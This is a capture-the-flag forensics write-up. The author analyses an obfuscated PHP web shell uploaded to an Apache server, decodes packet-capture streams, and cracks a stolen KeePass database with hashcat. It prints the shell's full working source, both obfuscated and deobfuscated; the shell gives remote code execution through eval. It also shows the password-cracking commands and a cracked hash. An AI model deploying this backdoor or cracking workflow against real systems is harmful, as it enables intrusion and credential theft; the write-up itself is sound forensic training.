Challenge brief
An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload to our Apache server. Suchlike, the hacker has uploaded what seems to be an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analysing and identifying commands the attacker wrote to understand what was compromised.
Walkthrough
This is going to be fun as I haven’t touched a PCAP in a while, however first thing I did was have a look at “support.php” which has some interesting obfuscation; clearly the intent of this challenge.
cat support.php <?php $V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($'; $P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents('; $d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i'; $B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}'; $N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion'); $c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@'; $u=str_replace('u)','',$V.$d.$P.$c.$B); $x=$N('',$u);$x(); ?>
After a long time of horrible deobfuscation, the below was created
$k="80e32263"; $kh="6f8af44abea0"; $kf="351039f4a7b5"; $p="0UlYyJHG87EJqEz6"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){ @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf"); }
Still seems fairly horrid to me but the important takeaway is that results start with variable $p$kh and end with $kf, which means $r is all we care about. Since I’m likely going to need to trim, the below is the pattern I’m looking for
$p$kh = 0UlYyJHG87EJqEz66f8af44abea0 $kf = 351039f4a7b5 Pattern = 0UlYyJHG87EJqEz66f8af44abea0 <$r> 351039f4a7b5
Now the annoying part is out of the way, I’m excited to spin up Wireshark to look through the packet capture. The first thing I did was to follow the TCP stream and start looping through the various streams. After a fair few, I noticed the above pattern quite often. After decoding the contents of some of these strings the most interesting was stream 23 and 25
--- STREAM 23 --- -rw-r--r-- 1 developer developer 220 May 20 21:28 .bash_logout -rw-r--r-- 1 developer developer 3.5K May 20 21:28 .bashrc -rw-r--r-- 1 developer developer 675 May 20 21:28 .profile -rw-r--r-- 1 developer developer 1.6K May 21 20:37 pwdb.kdbx --- STREAM 25 --- A9mimmf7S7UAAAMAAhAAMcHy5r9xQ1C+WAUhavxa/wMEAAEAAAAEIAAgTIbunS6JtNX/VevlHDzUvxqQTM6jhauJLJzoQAzHhQUgALelNeh212dFAk8g/D4NHbddj9cpKd577DClZe9KWsbmBggAcBcAAAAAAAAHEAARgpZ1dyCo08oR4fFwSDgCCCAAj9h7HUI3rx1HEr4pP+G3Pdjmr5zVuHV5p2g2a/WMvssJIABca5nQqrSglX6w+YiyGBjTfDG7gRH4PA2FElVuS/0cyAoEAAIAAAAABAANCg0Kqij7LKJGvbGd08iy6LLNTy2WMLrESjuiaz29E83thFvSNkkCwx55YT1xgxYpfIbSFhQHYPBMOv5XB+4g3orzDUFV0CP5W86Dq/6IYUsMcqVHftEOBF/MHYY+pfz2ouVW7U5C27dvnOuQXM/DVb/unwonqVTvg/28JkEFBDPVGQ08X2T9toRdtbq3+V7ljVmTwRx4xMgQbCalF5LyjrYEYmL8Iw9SJeIW7+P+R7v8cZYI4Y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w+wpn06dF/+9eUw9Z2UBdseNwGbWyCHhhYRKNlsA2HsoKGA9Zpk/655vAed2Vox3Ui8y62zomnJW0/YWdlH7oDkl1xIIBiITR9v84eXMq+gVT/LTAQPspuT4IV4HYrSnY/+VR0uDhjhtel9a1mQCfxW3FrdsWh7LDFh5AlYuE/0jIiN9Xt6oBCfy4+nEMke21m7Euugm/kCJWR/ECOwxuykBkvJFgbGIvJXNj1FOfCEFIYGdLDUe21rDcFP5OsDaA9y0IRqGzRLL8KXLjknQVCNkYwGqt9hE87TfqUVRIV+tU9z5WiYgnaTRii1XzX7iLzlgg5Pq0PqEqMHs95fxS4SRcal2ZuPpP/GzAVXiS7I4Dt3lATCVmA0fwWjlVEl3a/ZcU+UOm4YCrI+VOCklpur7sqx5peHE4gnGqyqmtVGfwjrgUe5i/1Xm/G5+7KT8UPbRSJMni1RUl3yjE2qibbnPgq1iuTthgWi2Jo/zT/mu9gPv5CRQEvKvAEck/upYwHAnDpdoUTBvVXQ7y
Assuming stream 25 is the contents of “pwdb.kdbx” which is a KeePass format, I downloaded KeePass and tried to open it. It really wasn’t any surprise that it required a password. John the ripper with RockYou hash list should hopefully help me out, however, I got the below error.
keepass2john pass.kdbx > hash.txt ! ../../pass.kdbx : Unknown format: File signature invalid
Looking at the contents a little closer I thought maybe it was double encoded, which turns out it was. I then used hashcat to get the password.
keepass2john pass_second_pass.kdbx > hash.txt hashcat -m 13400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt #Remember to remove the filename from the line in the hashfile or you will gte an error hashcat -m 13400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --show $keepass$*2*6000*0*204c86ee9d2e89b4d5ff55ebe51c3cd4bf1a904ccea385ab892c9ce8400cc785*b7a535e876d76745024f20fc3e0d1db75d8fd72929de7bec30a565ef4a5ac6e6*118296757720a8d3ca11e1f170483802*5c6b99d0aab4a0957eb0f988b21818d37c31bb8111f83c0d8512556e4bfd1cc8*aa28fb2ca246bdb19dd3c8b2e8b2cd4f2d9630bac44a3ba26b3dbd13cded845b:chainsaw
Now just to open the KeePass file
Woop there it is